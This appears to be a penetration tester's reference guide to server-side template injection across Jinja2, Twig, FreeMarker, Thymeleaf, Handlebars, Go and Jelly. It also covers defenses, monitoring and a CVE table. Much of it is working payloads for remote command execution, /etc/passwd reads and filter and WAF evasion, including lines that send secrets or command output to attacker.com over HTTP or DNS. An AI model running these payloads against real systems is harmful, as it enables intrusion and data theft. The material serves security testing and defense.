Comprehensive SSTI Guide#
๐ Updated September 12, 2026 โ added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure.
A practitioner’s reference for Server-Side Template Injection โ template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices.
Table of Contents#
- Fundamentals
- Detection & Identification
- Template Engine Exploitation
- Framework-Specific Attacks
- Payload Development
- Advanced Exploitation
- Bypass Techniques
- Testing Methodology
- Secure Implementation
- Detection & Prevention
- CVE Reference
1. Fundamentals#
SSTI Attack Surface#
| Template Context | Risk Level | Common Locations |
|---|
| User Input Rendering | Critical | Email templates, reports, dynamic pages |
| Configuration Files | High | Template-based configs, dynamic routing |
| Error Messages | Medium | Custom error pages, debug output |
| Log Messages | Low | Log formatting, audit trails |
| Email Workflow Templates | Critical | Notification templates, marketing emails (Shopify Return Magic, Fides) |
| Recipe/CMS Content Fields | Critical | User-editable content rendered by template engines (Tandoor Recipes, Alfresco) |
| JMS/Message Headers | High | Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) |
Template Engine Landscape#
| Engine | Language | Popularity | Exploitation Difficulty |
|---|
| Jinja2 | Python | Very High | Medium |
| Twig | PHP | High | Medium |
| FreeMarker | Java | High | High |
| Velocity | Java | Medium | High |
| Thymeleaf | Java | Medium | Medium |
| Smarty | PHP | Medium | Low |
| Mako | Python | Low | Low |
| Handlebars | Node.js | Very High | Medium |
| Pug (Jade) | Node.js | High | Medium |
| Go html/template | Go | Medium | High (context-dependent) |
| Go text/template | Go | Medium | Medium |
| Jelly | Java | Medium (ServiceNow) | Medium |
| MVEL | Java | Low | Low |
| Mustache | Multi-language | Medium | High (logicless by design) |
| Tornado | Python | Medium | Medium |
2. Detection & Identification#
Detection Methodology#
SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads
6. Test blind detection via time-based or OOB channels
Basic Detection Payloads#
| Test Case | Payload | Expected Result |
|---|
| Mathematical | ${7*7} | 49 if vulnerable |
| Mathematical | {โ{7*7}} | 49 if vulnerable |
| Mathematical | <%=7*7%> | 49 if vulnerable |
| String Concatenation | ${'a'+'b'} | ab if vulnerable |
| Function Call | ${T(java.lang.System).getProperty('user.name')} | Username if Spring EL |
| Go Detection | {โ{ . }} | Memory address of passed object if Go template |
| Handlebars Detection | {โ{this}} | [object Object] if Handlebars |
| FreeMarker String | ${"Hello " + "World"} | Hello World if FreeMarker |
| FreeMarker Array | ${["one", "two", "three"][1]} | two if FreeMarker |
| FreeMarker Length | ${"test"?length} | 4 if FreeMarker |
| FreeMarker Date | ${.now?string("yyyy-MM-dd")} | Current date if FreeMarker |
| Jelly (ServiceNow) | <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> | 1337 in error message |
| Thymeleaf Inline | [[${7*7}]] | 49 if Thymeleaf expression inlining |
Template Engine Fingerprinting#
IDENTIFICATION DECISION TREE:
โโโ {โ{7*7}} = 49
โ โโโ {โ{this}} = [object Object] โ Handlebars (Node.js)
โ โโโ Jinja2 (Python)
โ โโโ Twig (PHP)
โ โโโ Nunjucks (Node.js)
โโโ ${7*7} = 49
โ โโโ ${"test"?length} = 4 โ FreeMarker (Java)
โ โโโ ${T(java.lang.Runtime)} works โ Spring EL (Java)
โ โโโ Velocity (Java)
โโโ <%=7*7%> = 49
โ โโโ ERB (Ruby)
โ โโโ ASP Classic
โโโ {7*7} = 49
โ โโโ Smarty (PHP)
โโโ {โ{ . }} = memory address
โ โโโ Go html/template or text/template
โโโ [[${7*7}]] = 49
โ โโโ Thymeleaf (Java) expression inlining
โโโ <g:evaluate>...</g:evaluate> executes
โโโ Jelly (ServiceNow)
Blind SSTI Detection#
| Method | Payload Example | Verification |
|---|
| Time-based (Jinja2) | {โ{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} | Response delay |
| Time-based (FreeMarker) | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} | Response delay |
| DNS Exfiltration | {โ{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} | DNS logs |
| HTTP Callback | Jinja2 urllib.request.urlopen to attacker URL | HTTP logs |
3. Template Engine Exploitation#
Jinja2 (Python) Exploitation#
| Attack Vector | Payload | Impact |
|---|
| Basic RCE | {โ{config.__class__.__init__.__globals__['os'].popen('id').read()}} | Command execution |
| Subprocess | {โ{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} | Command execution |
| File Read | {โ{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} | File access |
| Config Access | {โ{config.SECRET_KEY}} | Sensitive data exposure |
| Lipsum Shorthand | {โ{lipsum.__globals__}} | Bypass length limits |
| Cycler RCE | {โ{cycler.__init__.__globals__.os.popen('id').read()}} | Shorter RCE payload |
| Hex-encoded attr() | {โ{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} | Filter bypass RCE (CVE-2025-23211) |
| Warning class import | {โ% for s in ().__class__.__base__.__subclasses__() %}{โ% if "warning" in s.__name__ %}{โ{s()._module.__builtins__['__import__']('os').popen("env").read()}}{โ% endif %}{โ% endfor %} | RCE via warning subclass (Fides advisory) |
Twig (PHP) Exploitation#
TWIG ATTACK PATTERNS:
โโโ Filter Abuse
โ โโโ {โ{_self.env.registerUndefinedFilterCallback("exec")}}
โ โโโ {โ{_self.env.getFilter("id")}}
โ โโโ {โ{["id"]|filter("system")}}
โโโ Function Injection
โ โโโ {โ{_self.env.registerUndefinedFunction("exec")}}
โ โโโ {โ{_self.env.getFunction("system")}}
โโโ Object Injection
โ โโโ {โ{app.request.query.get('cmd')|passthru}}
โ โโโ {โ{dump(app)}} (information disclosure)
โโโ Escape Handler Abuse (Grav CMS โ GHSA-2m7x-c7px-hp58)
โโโ {โ{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }}
โโโ {โ{ ['id'] | escape('system', 'system') }}
(Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled)
FreeMarker (Java) Exploitation#
| Technique | Payload | Description |
|---|
| Object Creation | <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} | Command execution |
| Static Method Call | ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} | Process creation |
| File System Access | <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> | File manipulation |
| ?lower_abc Filter Bypass | ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} | Reconstruct “freemarker.template.utility.Execute” char-by-char to bypass keyword blocklists |
| CamelContext Sandbox Escape | <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} | RCE even with ClassResolver sandbox enabled (Apache Camel) |
| CamelContext Language | $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) | Groovy expression via Camel context |
| Alfresco Sandbox Bypass | Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) | RCE in Alfresco CMS |
Handlebars (Node.js) Exploitation#
| Technique | Payload | Description |
|---|
| Prototype Pollution + AST Injection | Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value | Bypass parser validation, inject code directly into compiler |
| Constructor Chain | `{โ{#with “s” as | string |
| toString Override + bind() | Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor | Full RCE without scope-defined functions (Shopify Return Magic) |
| pendingContent Detection | Pollute Object.prototype.pendingContent with test string | Detect Handlebars engine in black-box with prototype pollution |
Pug (Node.js) Exploitation#
| Technique | Payload | Description |
|---|
| AST Injection via block | Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} | XSS/content injection via prototype pollution |
| Code Injection via line | Pollute Object.prototype.block.type = "Code" with body containing RCE payload | Command execution via AST manipulation |
Thymeleaf (Java) Exploitation#
THYMELEAF ATTACK PATTERNS:
โโโ Expression Preprocessing Double-Eval
โ โโโ __${path}__ preprocesses user input, result evaluated as expression
โ โโโ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')})
โ โโโ Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {})
โโโ Spring Boot 3.3.4 Denylist Bypass (modzero research)
โ โโโ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils
โ โโโ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist)
โ โโโ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
โ โ .invokeMethod(
โ โ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
โ โ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"),
โ โ "exec", "whoami")
โ โโโ Full payload reads command output via IOUtils + file write for non-blind RCE
โโโ CVE-2023-38286 (Spring Boot Admin)
โ โโโ Bypass Thymeleaf blacklists via ReflectionUtils (older versions)
โ โโโ th:with chaining: findMethod โ invokeMethod โ exec
โ โโโ Requires MailNotifier enabled + write access to env vars
โโโ CVE-2022-46166 (Spring Boot Admin)
โโโ RCE via variable coverage in notification templates
Velocity (Java) Exploitation#
| Technique | Payload | Description |
|---|
| CamelContext RCE | ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} | RCE via JavaScript engine in Apache Camel |
| Template Override | Send CamelVelocityTemplate header to override default template | Dynamic template injection via message headers |
| Resource URI Override | Send CamelVelocityResourceUri header pointing to file:///etc/passwd | Arbitrary file disclosure |
MVEL (Java) Exploitation#
| Technique | Payload | Description |
|---|
| Direct RCE | @{java.lang.Runtime.getRuntime().exec('id')} | Direct runtime access |
| ObjectFactory RCE | @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} | Via ScriptEngine |
| Template Override | Send CamelMvelTemplate header | Apache Camel dynamic template |
Go Template Exploitation#
GO SSTI ATTACK PATTERNS:
โโโ Detection
โ โโโ {โ{ . }} โ prints memory address/object dump of passed struct
โโโ Data Leakage
โ โโโ {โ{ .Email }} / {โ{ .Password }} โ access struct fields
โ โโโ Leaks any exported field on the passed object
โโโ Method Invocation
โ โโโ {โ{ .MethodName "arg" }} โ call exported methods on passed struct
โ โโโ Methods must be exported (capitalized) to be callable
โโโ Gin Framework Gadgets
โ โโโ {โ{ .Writer.WriteString "<script>alert(1)</script>" }} โ XSS via response writer
โโโ Echo Framework Gadgets
โ โโโ {โ{ .File "/etc/passwd" }} โ arbitrary file read
โ โโโ {โ{ .Attachment "/etc/passwd" "passwd" }} โ file read via attachment
โ โโโ {โ{ .Inline "/etc/passwd" "passwd" }} โ file read inline
โ โโโ {โ{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {โ{ $x.Seek 1 0 }} {โ{ .Stream 200 "text/plain" $x }} โ file read with I/O control
โโโ Fiber Framework Gadgets
โ โโโ {โ{ .App.Shutdown }} โ denial of service
โ โโโ {โ{ .Response.SendFile "/etc/hostname" }} {โ{ .Response.Body }} โ file read via fasthttp.Response
โโโ Method Confusion (OnSecurity Research)
โ โโโ If passed object type matches a method's receiver, call with custom params
โ โโโ echo.Context.File("path") gadget for arbitrary file read
โ โโโ Gadget hunting: search imported modules for exported methods with dangerous behavior
โโโ text/template vs html/template
โโโ text/template allows direct "call" for public functions โ higher risk
โโโ html/template restricts call โ requires gadget chains
Jelly (ServiceNow) Exploitation#
| Technique | Payload | Description |
|---|
| Template Injection Probe | <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> | Confirm injection via math result (1337) in error message |
| DB Credential Theft | Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() | Extract database connection strings |
| Chained Exploitation | CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) | Full RCE chain on ServiceNow |
| Style Tag Bypass | Embed Jelly tags inside <style> element in jvar_page_title parameter | Bypass basic input validation |
4. Framework-Specific Attacks#
Spring Framework (Java)#
| Context | Payload | Impact |
|---|
| Spring EL | ${T(java.lang.Runtime).getRuntime().exec('id')} | RCE |
| SpEL Injection | #{T(java.lang.System).getProperty('user.name')} | Information disclosure |
| Request Context | ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} | Environment access |
| Thymeleaf Double-Eval | '+${7*7}+' in Referer header with __${Referer}__ preprocessing | RCE via preprocessing (modzero) |
| MethodUtils Bypass | "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) | Bypass Thymeleaf denylist in Spring Boot 3.3.4+ |
| WebAsyncManager Header Exfil | Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response | Non-blind RCE without outbound connections |
Django (Python)#
DJANGO TEMPLATE ATTACKS:
โโโ Debug Information
โ โโโ {โ{settings.SECRET_KEY}}
โ โโโ {โ{settings.DATABASES}}
โ โโโ {โ{settings.DEBUG}}
โโโ Object Traversal
โ โโโ {โ{request.META}}
โ โโโ {โ{request.user}}
โ โโโ {โ{request.session}}
โโโ Filter Abuse
โโโ Custom filters with dangerous functions
โโโ Template tag injection
Laravel (PHP)#
| Attack Type | Payload | Result |
|---|
| Blade RCE | @php(system('id')) @endphp | Command execution |
| Variable Access | {โ{$app->make('config')->get('database.default')}} | Configuration disclosure |
| Helper Function | {โ{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} | Application introspection |
Apache Camel (Java)#
APACHE CAMEL SSTI (CVE-2020-11994):
โโโ Affected Components
โ โโโ camel-freemarker (CamelFreemarkerTemplate header)
โ โโโ camel-velocity (CamelVelocityTemplate header)
โ โโโ camel-mvel (CamelMvelTemplate header)
โ โโโ camel-mustache (MustacheResourceUri header โ file disclosure only)
โโโ Attack Pattern
โ โโโ Override default template via message header injection
โ โโโ Header source depends on consumer: JMS properties, HTTP headers, etc.
โ โโโ ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd)
โโโ Sandbox Bypass
โ โโโ camelContext object exposed in template context
โ โโโ getInjector() + getClassResolver() โ instantiate arbitrary classes
โ โโโ resolveLanguage("groovy") โ evaluate arbitrary Groovy expressions
โโโ Impact
โโโ RCE + Arbitrary File Disclosure across all template components
Grav CMS (PHP/Twig)#
| Attack Type | Payload | Result |
|---|
| setEscaper Abuse | {โ{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {โ{ ['id'] | escape('system', 'system') }} | RCE by redefining escape filter to system() |
| Root Cause | Twig sandbox not enabled; unrestricted access to extension classes via template context | Arbitrary callable registration |
5. Payload Development#
Payload Construction Strategy#
PAYLOAD DEVELOPMENT PROCESS:
โโโ Environment Discovery
โ โโโ Available classes/modules
โ โโโ Security restrictions
โ โโโ Execution context
โโโ Bypass Development
โ โโโ Filter evasion
โ โโโ Character restrictions
โ โโโ Length limitations
โโโ Payload Optimization
โ โโโ Minimize detection
โ โโโ Maximize impact
โ โโโ Ensure reliability
โโโ Multi-Stage Delivery
โโโ Store payload in persistent objects (Jinja2 config object)
โโโ Retrieve and execute across separate requests
โโโ Useful when injection point has size limits (email fields)
Common Payload Patterns#
| Goal | Python/Jinja2 | PHP/Twig | Java/FreeMarker | Node.js/Handlebars | Go |
|---|
| List Classes | {โ{''.__class__.__mro__[1].__subclasses__()}} | {โ{dump()}} | <#list .data_model?keys as key>${key}</#list> | {โ{this}} | {โ{ . }} |
| Execute Command | {โ{cycler.__init__.__globals__.os.popen('id').read()}} | {โ{_self.env.registerUndefinedFilterCallback("system")}} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} | Prototype pollution + AST injection | N/A (gadget-dependent) |
| Read File | {โ{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} | {โ{include('/etc/passwd')}} | <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> | N/A | {โ{ .File "/etc/passwd" }} (Echo) |
Size-Limited Payload Technique (Jinja2)#
MULTI-REQUEST PAYLOAD STAGING:
1. Store payload in config object via short injection:
{โ{config.update(a=request.args.get('a'))}}
with URL parameter: ?a=<long RCE payload>
2. Verify storage:
{โ{config.a}}
3. Execute stored payload:
{โ{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}}
Use case: SSTI in email fields with RFC-imposed size limits
6. Advanced Exploitation#
Blind SSTI Exploitation#
| Detection Method | Payload | Verification |
|---|
| Time-based | {โ{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} | Response delay |
| DNS Exfiltration | {โ{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} | DNS logs |
| HTTP Callback | {โ{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} | HTTP logs |
Sandbox Escape Techniques#
SANDBOX BYPASS METHODS:
โโโ Python/Jinja2
โ โโโ __builtins__ access via globals
โ โโโ Class traversal to dangerous modules
โ โโโ Import statement reconstruction
โ โโโ Warning subclass โ __builtins__['__import__'] chain
โโโ Java/FreeMarker
โ โโโ ObjectConstructor for arbitrary class instantiation
โ โโโ Static method calls via ?new()
โ โโโ Reflection API abuse
โ โโโ CamelContext.getInjector() + getClassResolver() (Apache Camel)
โ โโโ ScriptEngineManager for Groovy/JavaScript eval
โโโ Java/Thymeleaf
โ โโโ Expression preprocessing (__...__) double-evaluation
โ โโโ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist)
โ โโโ "".class.forName() to load arbitrary classes
โ โโโ ReflectionUtils (older versions, now denylisted)
โโโ PHP/Twig
โ โโโ Filter/function registration
โ โโโ Object property access
โ โโโ Include/eval function calls
โ โโโ setEscaper() to redefine escape function as system() (Grav CMS)
โโโ Node.js/Handlebars
โโโ AST Injection via prototype pollution (bypass parser entirely)
โโโ Function constructor via this.constructor.constructor
โโโ Object.prototype.toString override + bind() for RCE
โโโ Built-in helper abuse (with, blockHelperMissing)
Prototype Pollution to SSTI (Node.js)#
PROTOTYPE POLLUTION โ SSTI CHAIN:
โโโ Handlebars
โ โโโ Pollute Object.prototype.type = "Program"
โ โโโ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value
โ โโโ Template string bypasses parser (treated as pre-parsed AST)
โ โโโ Compiler executes injected code directly
โโโ Pug
โ โโโ Pollute Object.prototype.block with {type:"Text", val:"<payload>"}
โ โโโ When ast.type is "While", walkAST follows ast.block (uses prototype)
โ โโโ High reliability: any template referencing arguments triggers it
โโโ Detection
โโโ Handlebars: Object.prototype.pendingContent = "<test>" โ appears in output
โโโ Pug: Object.prototype.block = {type:"Text", val:"<test>"} โ appears in output
7. Bypass Techniques#
Filter Evasion#
| Restriction | Bypass Technique | Example |
|---|
| Keyword Blacklist | String concatenation | {โ{'sy'+'stem'}} |
| Character Filtering | Unicode/Encoding | {โ{'\u0073\u0079\u0073\u0074\u0065\u006d'}} |
| Length Limits | Shortened payloads | {โ{lipsum.__globals__}} |
| Quotes Blocked | String methods | {โ{request.args.cmd|system}} |
| Keyword Blacklist (FreeMarker) | ?lower_abc encoding | 6?lower_abc = “f”, reconstruct class names char-by-char |
| Attribute Name Filtering | Hex-encoded attr() | |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ |
| Size Limit | Config object staging | Store payload in config.a via one request, execute in another |
| Thymeleaf Static Class Block | commons-lang3 MethodUtils | Use "".class.forName(...) to load non-denylisted reflection class |
| ServiceNow Mitigation | Style tag wrapper + Jelly xmlns | Embed <g:evaluate> inside <style> tags |
WAF Bypass Strategies#
WAF EVASION TECHNIQUES:
โโโ Encoding Variations
โ โโโ URL encoding (%7B%7B)
โ โโโ Unicode encoding (\u007B\u007B)
โ โโโ HTML entity encoding ({{)
โโโ Structure Manipulation
โ โโโ Whitespace insertion {โ{ 7*7 }}
โ โโโ Comment insertion {# comment #}
โ โโโ Nested expressions {โ{7*{โ{7}}}}
โโโ Payload Fragmentation
โ โโโ Multi-step injection
โ โโโ Context-dependent payloads
โ โโโ Request splitting
โโโ FreeMarker-Specific
โ โโโ ?lower_abc / ?upper_abc character reconstruction
โ โโโ 1.1?c[1] to generate dot character
โ โโโ Numeric built-in abuse to construct arbitrary strings
โโโ Thymeleaf-Specific
โโโ Preprocessor double-evaluation via __${...}__
โโโ @{} link expression parentheses to clear context
โโโ Server-specific: Jetty allows {} in URL path, Tomcat blocks
Thymeleaf sandbox bypass via tab character (CVE-2026-40478)#
CVSS 9.1, found by pentester Dawid Bakaj. Thymeleaf’s security sandbox โ the thing that limits what SpEL expressions can do when they evaluate dynamic content โ was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4.
Same root shape as several other bugs in this guide: when the thing that validates and the thing that evaluates disagree about tokenization, the validator is decorative.
But read the precondition before you escalate this one. The sandbox only matters when user-controlled input reaches Thymeleaf’s expression engine, and the correct way to use Thymeleaf never does that. User input goes into the data model; the template stays static:
model.addAttribute("name", userInput); // safe โ Thymeleaf renders the value
Thymeleaf renders name. It never parses it. The sandbox is never involved, and this CVE never touches you.
You get exposed by dynamically constructing view names or template expressions from request data โ the “one endpoint serving multiple pages” pattern, where the requested page name is interpolated into the view or fragment reference. That’s a legitimate-looking use case, and it takes a noticeable amount of manual wiring to reach, which is worth remembering when you’re estimating how many real applications are affected. The safe version is three lines.
So the audit question to hand your team is not “what version of Thymeleaf are we on?” It’s “do we dynamically construct view names or template expressions from request data?” โ grep for view name resolution built by concatenation, fragment selectors assembled from parameters, and anywhere a request value ends up inside a th: attribute rather than bound through the model.
Patch to 3.1.4 regardless of what the audit says. A critical score assumes the precondition is met: if your code feeds user input to the expression engine, 9.1 is accurate and the impact is severe; if it doesn’t, you aren’t affected by the CVE itself. Neither of those is a reason to sit on a one-line dependency bump.
8. Testing Methodology#
Manual Testing Workflow#
| Phase | Activities | Tools/Techniques |
|---|
| Discovery | Input point identification | Burp Suite, manual analysis |
| Detection | Template injection testing | Mathematical expressions, error analysis |
| Identification | Template engine fingerprinting | Specific syntax testing, decision tree |
| Exploitation | Payload development | Engine documentation, trial and error |
| Impact Assessment | Privilege escalation, data access | Full exploitation chains |
| Blind Validation | Time-based and OOB testing | sleep commands, DNS/HTTP callbacks |
SSTI TESTING ARSENAL:
โโโ Detection Tools
โ โโโ tplmap (comprehensive scanner โ epinna)
โ โโโ SSTImap (exploitation framework โ vladko312)
โ โโโ Burp extensions (various)
โ โโโ Nuclei templates (e.g., CVE-2024-5217.yaml)
โโโ Payload Generators
โ โโโ PayloadsAllTheThings (payload collection)
โ โโโ SecLists (template payloads)
โ โโโ Custom scripts
โโโ Framework-Specific
โ โโโ j2eeTester (Java templates)
โ โโโ TwigSecurityChecker (Twig)
โ โโโ JinjaSecurityScanner (Jinja2)
โโโ Reconnaissance
โ โโโ Shodan/Censys/FOFA (identify exposed instances, e.g., ServiceNow)
โ โโโ Nuclei for automated version/vulnerability probing
โโโ CI/CD Integration
โโโ SAST rules: flag {โ{{ in .hbs files (Handlebars triple braces)
โโโ Secrets scanners: detect credentials in templates
โโโ Build guardrails: break on unsafe patterns
9. Secure Implementation#
Secure Template Design Principles#
| Principle | Implementation | Security Benefit |
|---|
| Input Validation | Strict allowlist validation | Prevents injection |
| Context Isolation | Separate template contexts | Limits impact |
| Minimal Privileges | Restricted template capabilities | Reduces attack surface |
| Output Encoding | Automatic encoding | Prevents XSS |
| Sandbox Enforcement | Enable template engine sandbox mode | Limits exploitation scope |
| Least Privilege Containers | Run containers as non-root | Limits post-exploitation impact (CVE-2025-23211) |
Framework-Specific Security#
SECURE CONFIGURATION:
โโโ Jinja2/Django
โ โโโ autoescape=True (XSS prevention)
โ โโโ Restrict dangerous globals
โ โโโ Custom filter validation
โ โโโ Use SandboxedEnvironment for user-controlled templates
โโโ Twig/Symfony
โ โโโ Strict mode enabled
โ โโโ Sandbox mode for user content (prevents setEscaper abuse)
โ โโโ Function/filter allowlisting
โ โโโ Block access to internal extension objects
โโโ FreeMarker/Spring
โ โโโ Restricted method calls
โ โโโ Template loading restrictions
โ โโโ API access controls
โ โโโ Use TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
โโโ Thymeleaf/Spring Boot
โ โโโ Avoid expression preprocessing (__...__) with user input
โ โโโ Denylist covers java.*, javax.*, org.springframework.util.*
โ โโโ Audit third-party libs (commons-lang3 MethodUtils still exploitable)
โ โโโ Prefer Tomcat over Jetty (Tomcat blocks {} in URL paths)
โโโ Handlebars/Node.js
โ โโโ Always use double braces {โ{ }} (auto-escaping), never triple {โ{{ }}}
โ โโโ Audit custom helpers โ never use SafeString with user input
โ โโโ Protect against prototype pollution (freeze Object.prototype, use Maps)
โ โโโ Keep dependencies updated (prototype pollution CVEs)
โโโ Go Templates
โ โโโ Prefer html/template over text/template (restricts "call")
โ โโโ Never pass entire framework context (gin.Context, echo.Context) to templates
โ โโโ Create minimal view structs with only needed fields
โ โโโ Avoid exported methods with dangerous behavior on passed types
โโโ ServiceNow/Jelly
โ โโโ Apply vendor patches promptly (CVE-2024-4879 exploited in wild)
โ โโโ Sanitize jvar_page_title and similar parameters
โ โโโ Monitor for Jelly tag injection patterns in logs
โโโ General Practices
โโโ Pre-compile templates (never build from user strings)
โโโ Validate all inputs
โโโ Monitor template rendering
โโโ Run applications as non-root in containers
10. Detection & Prevention#
Runtime Protection#
| Control | Implementation | Effectiveness |
|---|
| Input Sanitization | Remove template syntax | High (if comprehensive) |
| Template Sandboxing | Restricted execution environment | Medium (bypass possible) |
| Content Security Policy | Restrict dynamic content | Low (server-side attack) |
| Web Application Firewall | Pattern-based blocking | Medium (bypass common) |
| Prototype Pollution Prevention | Object.freeze, Map usage, input validation | High (prevents AST injection in Node.js) |
Monitoring & Detection#
DETECTION STRATEGIES:
โโโ Log Analysis
โ โโโ Template rendering errors
โ โโโ Unusual template patterns ({โ{, ${, <#, <g:evaluate>)
โ โโโ Performance anomalies
โ โโโ ServiceNow: monitor login.do for Jelly tag injection
โโโ Runtime Monitoring
โ โโโ Template execution time (detect sleep-based blind SSTI)
โ โโโ Memory consumption
โ โโโ System call monitoring (exec, popen, ProcessBuilder)
โ โโโ DNS/HTTP outbound connections from template rendering
โโโ Security Scanning
โ โโโ Regular SAST scans (CodeQL, Semgrep)
โ โโโ DAST testing (tplmap, SSTImap, Nuclei)
โ โโโ Dependency vulnerability checks (prototype pollution in Node.js)
โ โโโ Internet exposure scanning (Shodan, Censys, FOFA)
โโโ Supply Chain
โโโ Monitor npm advisories for Handlebars, Pug, flat
โโโ Track Java dependency updates (FreeMarker, Thymeleaf, commons-lang3)
โโโ Automated SCA in CI/CD pipelines
Incident Response#
| Phase | Actions | Considerations |
|---|
| Detection | Log analysis, alert investigation | False positive filtering |
| Containment | Template access restriction | Service availability |
| Eradication | Vulnerable template removal | Code deployment |
| Recovery | Secure template implementation | Testing requirements |
| Lessons Learned | Process improvement | Training needs |
11. CVE Reference#
| CVE | Product | Engine | CVSS | Impact |
|---|
| CVE-2024-4879 | ServiceNow | Jelly | 9.3 | Unauthenticated RCE via title injection |
| CVE-2024-5217 | ServiceNow | Jelly | 9.2 | Template injection mitigation bypass |
| CVE-2024-5178 | ServiceNow | Jelly | 6.9 | Filesystem filter bypass, sensitive file read |
| CVE-2026-5760 | SGLang | Template Engine | 9.8 | RCE via malicious GGUF model files |
| CVE-2025-61620 | AI Model Platform | Jinja2 | 8.5 | Template injection in model configuration |
| CVE-2025-23211 | Tandoor Recipes | Jinja2 | 9.9 | Authenticated SSTI to root RCE in Docker |
| CVE-2023-38286 | Spring Boot Admin | Thymeleaf | – | RCE via Thymeleaf blacklist bypass |
| CVE-2022-46166 | Spring Boot Admin | Thymeleaf | – | RCE via variable coverage in notifiers |
| CVE-2023-49964 | Alfresco | FreeMarker | – | SSTI sandbox bypass (incomplete fix of CVE-2020-12873) |
| CVE-2020-12873 | Alfresco | FreeMarker | – | Original SSTI via exposed FreeMarker objects |
| CVE-2020-11994 | Apache Camel | FreeMarker/Velocity/MVEL/Mustache | – | RCE + file disclosure via template header override |
| CVE-2024-29178 | Apache StreamPark | FreeMarker | – | FreeMarker SSTI to RCE |
| CVE-2019-20920 | Handlebars (npm) | Handlebars | – | Prototype pollution leading to RCE |
| GHSA-2m7x-c7px-hp58 | Grav CMS | Twig | – | RCE via setEscaper() without sandbox |
| GHSA-c34r-238x-f7qx | Fides | Jinja2 | – | RCE via unsandboxed email template rendering |
Key Takeaways#
- Input Validation: Never trust user input in template contexts
- Template Isolation: Separate user-controlled and system templates
- Minimal Privileges: Restrict template engine capabilities
- Regular Testing: Include SSTI in security testing processes
- Framework Updates: Keep template engines updated with security patches
- Sandbox Enforcement: Always enable sandbox mode when user content is rendered by template engines
- Prototype Pollution Awareness: In Node.js, prototype pollution can chain to full SSTI/RCE even in “logicless” engines like Handlebars
- Context Minimization: Pass only minimal data structures to templates โ never entire framework contexts (Go, Spring)
- Container Hardening: Run applications as non-root to limit post-exploitation impact
- Supply Chain Monitoring: Track template engine dependency vulnerabilities in CI/CD
References#
